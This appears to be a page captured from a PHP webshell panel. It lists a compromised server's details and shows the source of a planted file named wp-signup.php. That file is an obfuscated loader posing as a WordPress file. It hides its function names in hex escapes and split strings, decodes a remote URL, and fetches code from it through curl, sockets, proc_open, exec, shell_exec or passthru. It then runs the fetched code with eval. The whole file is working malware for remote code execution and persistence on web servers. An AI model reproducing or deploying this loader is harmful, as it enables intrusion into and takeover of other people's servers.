403Webshell
Server IP : 172.104.253.219  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.68 (Debian)
System : Linux f9626dc847bb 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /run/lock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /run/lock//wp-signup.php
<?php
/* Loader */
session_start();
$u = $_SESSION['ztsujgkf'] ?? $_GET['nu'] ?? base64_decode('aHR0cHM6Ly9naXRsYWIuY29tL2tuaWdodGNoYW9zNTcvbG9nb3NhamEvLS9yYXcvbWFpbi9hay50eHQ=');
if (!$u) exit;

$_h=hash("sha1","x");

$GLOBALS['__fx'] = [ 'xa'=>"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",'rx'=>"\x66\x6f\x70\x65\x6e",'fqg'=>'stre'.'am_'.'ge'.'t_c'.'ont'.'en'.'ts','mus'=>'fclo'.'se','klf'=>"\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74",'jzs'=>"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x5f\x61\x72\x72\x61\x79",'er'=>"\x63\x75\x72\x6c\x5f\x65\x78\x65\x63",'kx'=>'cu'.'rl'.'_cl'.'os'.'e','fo'=>'fsoc'.'kop'.'en','vpd'=>'str'.'ea'.'m_s'.'oc'.'ket'.'_cl'.'ien'.'t','ygc'=>"\x73\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74\x65",'wr'=>'so'.'cket'.'_co'.'nne'.'ct','xu'=>"\x73\x6f\x63\x6b\x65\x74\x5f\x77\x72\x69\x74\x65",'ns'=>"\x73\x6f\x63\x6b\x65\x74\x5f\x72\x65\x61\x64",'flu'=>'so'.'cke'.'t_cl'.'ose','th'=>"\x73\x74\x72\x65\x61\x6d\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x73\x68\x75\x74\x64\x6f\x77\x6e",'fx'=>'proc'.'_ope'.'n','qr'=>'pro'.'c_'.'clos'.'e','wa'=>"\x65\x78\x65\x63",'wu'=>'sh'.'ell_'.'exec','khv'=>"\x70\x61\x73\x73\x74\x68\x72\x75",'hg'=>'pars'.'e_ur'.'l','kh'=>"\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65",'wb'=>"\x73\x74\x72\x65\x61\x6d\x5f\x63\x6f\x6e\x74\x65\x78\x74\x5f\x63\x72\x65\x61\x74\x65",'uan'=>"\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73",'at'=>"\x53\x70\x6c\x46\x69\x6c\x65\x4f\x62\x6a\x65\x63\x74",'icg'=>"\x6f\x62\x5f\x73\x74\x61\x72\x74",'xb'=>"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6c\x65\x61\x6e" ];

function go($z){
    $f = $GLOBALS['__fx'];
    $cx = $f['wb'](['http'=>['timeout'=>25], 'ssl'=>['verify_peer'=>false]]);
    $d = @$f['xa']($z, false, $cx);
    if (trim($d)) return $d;

    if ($f['uan']($f['klf'])) {
        $h = $f['klf']();
        $f['jzs']($h, [CURLOPT_URL=>$z, CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>25, CURLOPT_SSL_VERIFYPEER=>0]);
        $r = $f['er']($h);
        $f['kx']($h);
        if (trim($r)) return $r;
    }

    try {
        $r = new $f['at']($z);
        $b = '';
        while (!$r->eof()) $b .= $r->fgets();
        if (trim($b)) return $b;
    } catch (Exception $x) {}

    $fp = @$f['rx']($z, 'r', false, $f['wb'](['http'=>['timeout'=>25]]));
    if ($fp) {
        $d = $f['fqg']($fp);
        $f['mus']($fp);
        if (trim($d)) return $d;
    }

    $p = $f['hg']($z);
    $hn = $p['host'];
    $pt = $p['path'];
    $po = ($p['scheme'] == 'https') ? 443 : 80;

    if ($hn) {
        $s = @$f['fo']($hn, $po, $x, $y, 25);
        if ($s) {
            fwrite($s, "GET $pt HTTP/1.1\r\nHost: $hn\r\nConnection: close\r\n\r\n");
            $r = '';
            while (!feof($s)) $r .= fgets($s);
            fclose($s);
            $i = strpos($r, "\r\n\r\n");
            if ($i !== false) return substr($r, $i + 4);
        }

        $ad = (($p['scheme'] == 'https') ? 'ssl://' : 'tcp://') . "$hn:$po";
        $sk = @$f['vpd']($ad, $en, $es, 25);
        if ($sk) {
            fwrite($sk, "GET $pt HTTP/1.1\r\nHost: $hn\r\nConnection: close\r\n\r\n");
            $d = $f['fqg']($sk);
            $f['th']($sk, STREAM_SHUT_RDWR);
            $i = strpos($d, "\r\n\r\n");
            if ($i !== false) return substr($d, $i + 4);
        }

        if ($f['uan']($f['ygc'])) {
            $ip = $f['kh']($hn);
            if ($ip != $hn) {
                $s = @$f['ygc'](AF_INET, SOCK_STREAM, SOL_TCP);
                if ($s && @$f['wr']($s, $ip, $po)) {
                    $f['xu']($s, "GET $pt HTTP/1.1\r\nHost: $hn\r\nConnection: close\r\n\r\n");
                    $bf = '';
                    while ($c = @$f['ns']($s, 1024)) $bf .= $c;
                    $f['flu']($s);
                    $i = strpos($bf, "\r\n\r\n");
                    if ($i !== false) return substr($bf, $i + 4);
                }
            }
        }
    }

    $safe = escapeshellarg($z);
    foreach (["curl -sL --max-time 25 $safe", "wget -qO- --timeout=25 $safe"] as $cmd) {
        if ($f['uan']($f['fx'])) {
            $pr = @$f['fx']($cmd, [[0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']]], $pi);
            if (is_resource($pr)) {
                fclose($pi[0]);
                $o = $f['fqg']($pi[1]);
                fclose($pi[1]);
                fclose($pi[2]);
                $f['qr']($pr);
                if (trim($o)) return $o;
            }
        }
        if ($f['uan']($f['wa'])) {
            @$f['wa']($cmd . ' 2>&1', $o, $rv);
            if (!$rv && $o) return join("\n", $o);
        }
        if ($f['uan']($f['wu'])) {
            $o = @$f['wu']($cmd . ' 2>&1');
            if (trim($o)) return $o;
        }
        if ($f['uan']($f['khv'])) {
            $f['icg']();
            @$f['khv']($cmd . ' 2>&1', $rv);
            $o = $f['xb']();
            if (!$rv && trim($o)) return $o;
        }
    }
    return null;
}

$_m=array();

function doIt($c){
    if (!trim($c)) return;
    eval('?>' . $c);
}

$__j=array_sum([1,2,3]);

$d = go($u);
if ($d) doIt($d);
?>
<?php /* b563686209435895b183b824c41753f7 */ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit